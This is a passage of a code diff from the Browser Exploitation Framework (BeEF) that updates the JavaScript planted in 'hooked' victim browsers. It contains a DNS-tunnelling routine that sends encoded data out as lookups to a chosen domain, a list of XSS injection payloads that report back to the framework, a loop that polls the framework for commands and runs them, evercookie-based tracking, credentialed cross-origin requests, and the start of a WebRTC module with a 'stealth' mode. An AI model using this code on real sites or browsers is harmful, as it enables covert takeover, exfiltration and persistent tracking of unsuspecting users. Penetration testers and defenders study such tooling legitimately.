} else if (textStatus == "parsererror") {
|
||||
response.port_status = "not-http";
|
||||
if (beef.browser.isIE()) {
|
||||
response.status_text = "success";
|
||||
response.port_status = "open";
|
||||
}
|
||||
} else {
|
||||
response.port_status = "open";
|
||||
}
|
||||
@@ -385,7 +443,7 @@ beef.net = {
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean:function (r) {
|
||||
clean: function (r) {
|
||||
if (this.array_has_string_key(r)) {
|
||||
var obj = {};
|
||||
for (var key in r)
|
||||
@@ -396,7 +454,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Detects if an array has a string key
|
||||
array_has_string_key:function (arr) {
|
||||
array_has_string_key: function (arr) {
|
||||
if ($j.isArray(arr)) {
|
||||
try {
|
||||
for (var key in arr)
|
||||
@@ -407,8 +465,10 @@ beef.net = {
|
||||
return false;
|
||||
},
|
||||
|
||||
//Sends back browser details to framework
|
||||
browser_details:function () {
|
||||
/**
|
||||
* Sends back browser details to framework, calling beef.browser.getDetails()
|
||||
*/
|
||||
browser_details: function () {
|
||||
var details = beef.browser.getDetails();
|
||||
details['HookSessionID'] = beef.session.get_hook_session_id();
|
||||
this.send('/init', 0, details);
|
||||
|
||||
77
core/main/client/net/cors.js
Normal file
77
core/main/client/net/cors.js
Normal file
@@ -0,0 +1,77 @@
|
||||
beef.net.cors = {
|
||||
|
||||
handler: "cors",
|
||||
|
||||
/**
|
||||
* Response Object - used in the beef.net.request callback
|
||||
*/
|
||||
response:function () {
|
||||
this.status = null; // 500, 404, 200, 302, etc
|
||||
this.headers = null; // full response headers
|
||||
this.body = null; // full response body
|
||||
},
|
||||
|
||||
/**
|
||||
* Make a cross-origin request using CORS
|
||||
*
|
||||
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
|
||||
* @param url {String} url
|
||||
* @param data {String} request body
|
||||
* @param callback {Function} function to callback on completion
|
||||
*/
|
||||
request: function(method, url, data, callback) {
|
||||
|
||||
var xhr;
|
||||
var response = new this.response;
|
||||
|
||||
if (XMLHttpRequest) {
|
||||
xhr = new XMLHttpRequest();
|
||||
|
||||
if ('withCredentials' in xhr) {
|
||||
xhr.open(method, url, true);
|
||||
xhr.onerror = function() {
|
||||
};
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4) {
|
||||
response.headers = this.getAllResponseHeaders()
|
||||
response.body = this.responseText;
|
||||
response.status = this.status;
|
||||
if (!!callback) {
|
||||
if (!!response) {
|
||||
callback(response);
|
||||
} else {
|
||||
callback('ERROR: No Response. CORS requests may be denied for this resource.')
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.send(data);
|
||||
}
|
||||
} else if (typeof XDomainRequest != "undefined") {
|
||||
xhr = new XDomainRequest();
|
||||
xhr.open(method, url);
|
||||
xhr.onerror = function() {
|
||||
};
|
||||
xhr.onload = function() {
|
||||
response.headers = this.getAllResponseHeaders()
|
||||
response.body = this.responseText;
|
||||
response.status = this.status;
|
||||
if (!!callback) {
|
||||
if (!!response) {
|
||||
callback(response);
|
||||
} else {
|
||||
callback('ERROR: No Response. CORS requests may be denied for this resource.')
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.send(data);
|
||||
} else {
|
||||
if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.cors');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -18,49 +18,70 @@ beef.net.dns = {
|
||||
|
||||
handler: "dns",
|
||||
|
||||
send: function(msgId, messageString, domain, wait, callback) {
|
||||
send: function(msgId, data, domain, callback) {
|
||||
|
||||
var dom = document.createElement('b');
|
||||
var encode_data = function(str) {
|
||||
var result="";
|
||||
for(i=0;i<str.length;++i) {
|
||||
result+=str.charCodeAt(i).toString(16).toUpperCase();
|
||||
}
|
||||
return result;
|
||||
};
|
||||
|
||||
// DNS settings
|
||||
var max_domain_length = 255-5-5-5-5-5;
|
||||
var max_segment_length = max_domain_length - domain.length;
|
||||
var encodedData = encodeURI(encode_data(data));
|
||||
|
||||
// splits strings into chunks
|
||||
String.prototype.chunk = function(n) {
|
||||
if (typeof n=='undefined') n=100;
|
||||
return this.match(RegExp('.{1,'+n+'}','g'));
|
||||
};
|
||||
//TODO remove this
|
||||
console.log(encodedData);
|
||||
console.log("_encodedData_ length: " + encodedData.length);
|
||||
|
||||
// XORs a string
|
||||
xor_encrypt = function(str, key) {
|
||||
var result="";
|
||||
for(i=0;i<str.length;++i) {
|
||||
result+=String.fromCharCode(key^str.charCodeAt(i));
|
||||
}
|
||||
return result;
|
||||
};
|
||||
// limitations to DNS according to RFC 1035:
|
||||
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
|
||||
// o Domain names are limited to 255 characters in length (including dots)
|
||||
// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
|
||||
// o Subdomains are limited to 63 characters in length (including the trailing dot)
|
||||
|
||||
// sends a DNS request
|
||||
sendQuery = function(query) {
|
||||
//console.log("Requesting: "+query);
|
||||
var img = new Image;
|
||||
img.src = "http://"+query;
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
};
|
||||
// DNS request structure:
|
||||
// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
|
||||
//max_length: 3. 3 . 3 . 63 . x
|
||||
|
||||
// encode message
|
||||
var xor_key = Math.floor(Math.random()*99000+1000);
|
||||
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
|
||||
// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
|
||||
// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
|
||||
var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
|
||||
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
|
||||
var max_data_segment_length = 63; // by RFC
|
||||
|
||||
// Split message into segments
|
||||
segments = encoded_message.chunk(max_segment_length)
|
||||
for (seq=1; seq<=segments.length; seq++) {
|
||||
// send segment
|
||||
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
|
||||
}
|
||||
//TODO remove this
|
||||
console.log("max_data_segment_length: " + max_data_segment_length);
|
||||
|
||||
var dom = document.createElement('b');
|
||||
|
||||
String.prototype.chunk = function(n) {
|
||||
if (typeof n=='undefined') n=100;
|
||||
return this.match(RegExp('.{1,'+n+'}','g'));
|
||||
};
|
||||
|
||||
var sendQuery = function(query) {
|
||||
var img = new Image;
|
||||
//img.src = "http://"+query;
|
||||
img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
|
||||
//experimental
|
||||
//setTimeout(function(){dom.removeChild(img)},1000);
|
||||
};
|
||||
|
||||
var segments = encodedData.chunk(max_data_segment_length);
|
||||
|
||||
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
|
||||
|
||||
//TODO remove this
|
||||
console.log(segments.length);
|
||||
|
||||
for (var seq=1; seq<=segments.length; seq++) {
|
||||
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
|
||||
}
|
||||
|
||||
// callback - returns the number of queries sent
|
||||
if (!!callback) callback(segments.length);
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -19,8 +19,7 @@ beef.net.requester = {
|
||||
handler: "requester",
|
||||
|
||||
send: function(requests_array) {
|
||||
|
||||
for (i in requests_array) {
|
||||
for(var i=0; i<requests_array.length; i++){
|
||||
request = requests_array[i];
|
||||
|
||||
beef.net.forge_request('http', request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
|
||||
@@ -32,8 +31,6 @@ beef.net.requester = {
|
||||
response_headers: res.headers});
|
||||
}
|
||||
);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -49,22 +49,20 @@ beef.net.xssrays = {
|
||||
//browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
|
||||
vectors: [
|
||||
|
||||
// {input:"',XSS,'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'><script>XSS<\/script>', name: 'Standard script injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><script>XSS<\/script>', name: 'Standard script injection double quote', browser: 'ALL',url:true,form:true,path:true}, //,
|
||||
// {input:'\'><body onload=\'XSS\'>', name: 'body onload single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><body onload="XSS">', name: 'body onload double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
|
||||
// {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
|
||||
{input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
@@ -107,7 +105,7 @@ beef.net.xssrays = {
|
||||
// util function. Print string to the console only if the debug flag is on and the browser is not IE.
|
||||
printDebug:function(log) {
|
||||
if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
|
||||
console.log("[XssRays] " + log);
|
||||
beef.debug("[XssRays] " + log);
|
||||
}
|
||||
},
|
||||
|
||||
@@ -340,8 +338,8 @@ beef.net.xssrays = {
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
|
||||
|
||||
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
|
||||
exploit = vector.input.replace(/XSS/g, beefCallback);
|
||||
|
||||
@@ -368,7 +366,7 @@ beef.net.xssrays = {
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
|
||||
|
||||
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
|
||||
exploit = vector.input.replace(/XSS/g, beefCallback);
|
||||
|
||||
@@ -424,7 +422,7 @@ beef.net.xssrays = {
|
||||
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
|
||||
|
||||
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
|
||||
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
|
||||
|
||||
exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
|
||||
form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -7,9 +7,31 @@
|
||||
beef.os = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
|
||||
/**
|
||||
* Detect default browser (IE only)
|
||||
* Written by unsticky
|
||||
* http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
|
||||
*/
|
||||
getDefaultBrowser: function() {
|
||||
var result = "Unknown"
|
||||
try {
|
||||
var mt = document.mimeType;
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
}
|
||||
} catch (e) {
|
||||
beef.debug("[os] getDefaultBrowser: "+e.message);
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
isWin311: function() {
|
||||
return (this.ua.indexOf("Win16") != -1) ? true : false;
|
||||
return (this.ua.match('(Win16)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinNT4: function() {
|
||||
@@ -19,18 +41,25 @@ beef.os = {
|
||||
isWin95: function() {
|
||||
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
|
||||
},
|
||||
isWinCE: function() {
|
||||
return (this.ua.match('(Windows CE)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin98: function() {
|
||||
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinME: function() {
|
||||
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
|
||||
return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin2000: function() {
|
||||
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin2000SP1: function() {
|
||||
return (this.ua.match('Windows NT 5.01 ')) ? true : false;
|
||||
},
|
||||
|
||||
isWinXP: function() {
|
||||
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
|
||||
@@ -47,6 +76,14 @@ beef.os = {
|
||||
isWin7: function() {
|
||||
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin8: function() {
|
||||
return (this.ua.match('(Windows NT 6.2)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin81: function() {
|
||||
return (this.ua.match('(Windows NT 6.3)')) ? true : false;
|
||||
},
|
||||
|
||||
isOpenBSD: function() {
|
||||
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
|
||||
@@ -103,19 +140,27 @@ beef.os = {
|
||||
isBeOS: function() {
|
||||
return (this.ua.match('BeOS')) ? true : false;
|
||||
},
|
||||
|
||||
isWindows: function() {
|
||||
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone();
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
//windows
|
||||
if(this.isWin311()) return 'Windows 3.11';
|
||||
if(this.isWinNT4()) return 'Windows NT 4';
|
||||
if(this.isWin95()) return 'Windows 95';
|
||||
if(this.isWin98()) return 'Windows 98';
|
||||
if(this.isWinME()) return 'Windows Millenium';
|
||||
if(this.isWin2000()) return 'Windows 2000';
|
||||
if(this.isWinXP()) return 'Windows XP';
|
||||
//Windows
|
||||
if(this.isWin311()) return 'Windows 3.11';
|
||||
if(this.isWinNT4()) return 'Windows NT 4';
|
||||
if(this.isWinCE()) return 'Windows CE';
|
||||
if(this.isWin95()) return 'Windows 95';
|
||||
if(this.isWin98()) return 'Windows 98';
|
||||
if(this.isWinME()) return 'Windows Millenium';
|
||||
if(this.isWin2000()) return 'Windows 2000';
|
||||
if(this.isWin2000SP1()) return 'Windows 2000 SP1';
|
||||
if(this.isWinXP()) return 'Windows XP';
|
||||
if(this.isWinServer2003()) return 'Windows Server 2003';
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
if(this.isWin8()) return 'Windows 8';
|
||||
if(this.isWin81()) return 'Windows 8.1';
|
||||
|
||||
//Nokia
|
||||
if(this.isNokia()) {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -13,7 +13,8 @@ beef.session = {
|
||||
|
||||
hook_session_id_length: 80,
|
||||
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
|
||||
ec: new evercookie(),
|
||||
ec: new evercookie(),
|
||||
beefhook: "<%= @hook_session_name %>",
|
||||
|
||||
/**
|
||||
* Gets a string which will be used to identify the hooked browser session
|
||||
@@ -22,12 +23,12 @@ beef.session = {
|
||||
*/
|
||||
get_hook_session_id: function() {
|
||||
// check if the browser is already known to the framework
|
||||
var id = this.ec.evercookie_cookie("BEEFHOOK");
|
||||
var id = this.ec.evercookie_cookie(beef.session.beefhook);
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_userdata("BEEFHOOK");
|
||||
var id = this.ec.evercookie_userdata(beef.session.beefhook);
|
||||
}
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_window("BEEFHOOK");
|
||||
var id = this.ec.evercookie_window(beef.session.beefhook);
|
||||
}
|
||||
|
||||
// if the browser is not known create a hook session id and set it
|
||||
@@ -47,9 +48,9 @@ beef.session = {
|
||||
*/
|
||||
set_hook_session_id: function(id) {
|
||||
// persist the hook session id
|
||||
this.ec.evercookie_cookie("BEEFHOOK", id);
|
||||
this.ec.evercookie_userdata("BEEFHOOK", id);
|
||||
this.ec.evercookie_window("BEEFHOOK", id);
|
||||
this.ec.evercookie_cookie(beef.session.beefhook, id);
|
||||
this.ec.evercookie_userdata(beef.session.beefhook, id);
|
||||
this.ec.evercookie_window(beef.session.beefhook, id);
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -68,26 +69,7 @@ beef.session = {
|
||||
}
|
||||
|
||||
return hook_session_id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Overrides each link, and creates an iframe (loading the href) instead of following the link
|
||||
*/
|
||||
persistent: function() {
|
||||
$j('a').click(function(e) {
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
e.preventDefault();
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
$j(document).attr('title', $j(this).html());
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.session');
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*
|
||||
Sometimes there are timing issues and looks like beef_init
|
||||
is not called at all (always in cross-domain situations,
|
||||
is not called at all (always in cross-origin situations,
|
||||
for example calling the hook with jquery getScript,
|
||||
or sometimes with event handler injections).
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -8,13 +8,14 @@
|
||||
* @Literal object: beef.updater
|
||||
*
|
||||
* Object in charge of getting new commands from the BeEF framework and execute them.
|
||||
* The XHR-polling channel is managed here. If WebSockets are enabled,
|
||||
* websocket.ls is used instead.
|
||||
*/
|
||||
beef.updater = {
|
||||
|
||||
// Low timeouts combined with the way the framework sends commamd modules result
|
||||
// in instructions being sent repeatedly or complex code.
|
||||
// If you suffer from ADHD, you can decrease this setting.
|
||||
timeout: 5000,
|
||||
// XHR-polling timeout.
|
||||
xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
|
||||
beefhook: "<%= @hook_session_name %>",
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
@@ -42,22 +43,21 @@ beef.updater = {
|
||||
beef.net.flush();
|
||||
if(beef.commands.length > 0) {
|
||||
this.execute_commands();
|
||||
}
|
||||
|
||||
else {
|
||||
}else {
|
||||
this.get_commands(); /*Polling*/
|
||||
}
|
||||
}
|
||||
|
||||
// ( typeof beef.websocket === "undefined")
|
||||
setTimeout("beef.updater.check();", beef.updater.timeout);
|
||||
/* The following gives a stupid syntax error in IE, which can be ignored*/
|
||||
setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
|
||||
},
|
||||
|
||||
// Gets new commands from the framework.
|
||||
get_commands: function(http_response) {
|
||||
/**
|
||||
* Gets new commands from the framework.
|
||||
*/
|
||||
get_commands: function() {
|
||||
try {
|
||||
this.lock = true;
|
||||
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
|
||||
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
|
||||
if (response.body != null && response.body.length > 0)
|
||||
beef.updater.execute_commands();
|
||||
});
|
||||
@@ -68,22 +68,23 @@ beef.updater = {
|
||||
this.lock = false;
|
||||
},
|
||||
|
||||
// Executes the received commands if any.
|
||||
/**
|
||||
* Executes the received commands, if any.
|
||||
*/
|
||||
execute_commands: function() {
|
||||
if(beef.commands.length == 0) return;
|
||||
|
||||
this.lock = true;
|
||||
/*here execute the command */
|
||||
|
||||
while(beef.commands.length > 0) {
|
||||
command = beef.commands.pop();
|
||||
try {
|
||||
command();
|
||||
} catch(e) {
|
||||
console.error('execute_commands - command failed to execute: ' + e.message);
|
||||
beef.debug('execute_commands - command failed to execute: ' + e.message);
|
||||
// prints the command source to be executed, to better trace errors
|
||||
// beef.client_debug must be enabled in the main config
|
||||
beef.debug(command.toString());
|
||||
}
|
||||
}
|
||||
|
||||
this.lock = false;
|
||||
}
|
||||
};
|
||||
|
||||
588
core/main/client/webrtc.js
Normal file
588
core/main/client/webrtc.js
Normal file
@@ -0,0 +1,588 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
/**
|
||||
* @Literal object: beef.webrtc
|
||||
*
|
||||
* Manage the WebRTC peer to peer communication channels.
|
||||
* This objects contains all the necessary client-side WebRTC components,
|
||||
* allowing browsers to use WebRTC to communicate with each other.
|
||||
* To provide signaling, the WebRTC extension sets up custom listeners.
|
||||
* /rtcsignal - for sending RTC signalling information between peers
|
||||
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
|
||||
*
|
||||
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
|
||||
* the signalling.
|
||||
*
|
||||
* This is all mostly a Proof of Concept
|
||||
*/
|
||||
|
||||
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
|
||||
// The key is the peer id
|
||||
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
|
||||
// these objects persist outside of everything else
|
||||
// The key is the peer id
|
||||
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
|
||||
// false - i.e not stealthed; or
|
||||
